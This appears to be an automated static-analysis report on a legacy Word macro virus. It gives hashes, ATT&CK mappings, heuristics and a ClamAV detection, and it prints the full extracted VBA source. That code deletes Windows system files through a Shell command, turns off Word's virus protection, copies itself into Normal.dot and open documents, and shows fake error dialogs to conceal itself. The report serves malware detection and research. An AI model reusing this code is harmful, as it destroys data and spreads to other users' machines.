Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7339917128783155…

MALICIOUS

Office (OLE)

36.5 KB Created: 2004-05-19 10:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8f9ccd4f94eb27ae4f9ead77584d823a SHA-1: e2d78289756b7fcb283400cc9f6a11c6e6b89c71 SHA-256: 73399171287831554cc54efb49ee2fc3cd3eb3a862e5e9e9562331d1e7cb5422
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1070.004 File Deletion T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose functions, which are indicative of malware. The VBA script attempts to execute a command to delete files in the Windows system directory and replicate itself to the Normal.dot template and the current document, suggesting a destructive or self-propagating payload. The ClamAV detection of 'Win.Trojan.C-286' further supports its malicious nature.

Heuristics 7

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2187 bytes
SHA-256: c4fbaadd5c71e2c0ed7ec241161910c37be565e4ae4094a9ad86aa4158736e6d
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "RedTerrorist"
Sub AutoOpen()
  Call FuckThemAll
End Sub

Sub AutoClose()
  Call FuckThemAll
End Sub

Sub FuckThemAll()
  Dim flag As Boolean
  On Error Resume Next

  If System.Country = wdUS Then
    Shell "c:\command.com \C echo y | del " + Environ("windir") + "\system\*.* > nul"
  End If

  With Options
      .SaveNormalPrompt = False
      .VirusProtection = False
      .AllowFastSave = True
      .BackgroundSave = True
  End With

  flag = False
  For i = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents.Item(i).Name _
    = "RedTerrorist" Then flag = True
  Next

  If Not flag Then
    NormalTemplate.VBProject.VBComponents("RedTerrorist").Export (Environ("windir") + "\temp\user.vxd")
    ActiveDocument.VBProject.VBComponents.import (Environ("windir") + "\temp\user.vxd")
    Kill Environ("windir") + "\temp\user.vxd"
    ActiveDocument.SaveAs ActiveDocument.FullName, wdFormatDocument
  End If

  flag = False
  For i = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(i).Name = "RedTerrorist" Then flag = True
  Next

  If Not flag Then
    ActiveDocument.VBProject.VBComponents("RedTerrorist").Export (Environ("windir") + "\temp\user.vxd")
    NormalTemplate.VBProject.VBComponents.import (Environ("windir") + "\temp\user.vxd")
    Kill Environ("windir") + "\temp\user.vxd"

    NormalTemplate.Save
    NormalTemplate.Saved = True
  End If
End Sub

Sub ToolsMacro()
  Call Delay
  MsgBox "Top level process aborted, cannot continue", vbCritical
End Sub

Sub ToolsCustomize()
  Call Delay
  MsgBox "Configuration too large for memory", vbCritical
End Sub

Sub ViewVBCode()
  Call Delay
  MsgBox "Error in EXE file, program too big to fit in memory", vbCritical
End Sub

Sub Delay()
  Dim i As Double
  For i = 0 To 19170000
  Next
End Sub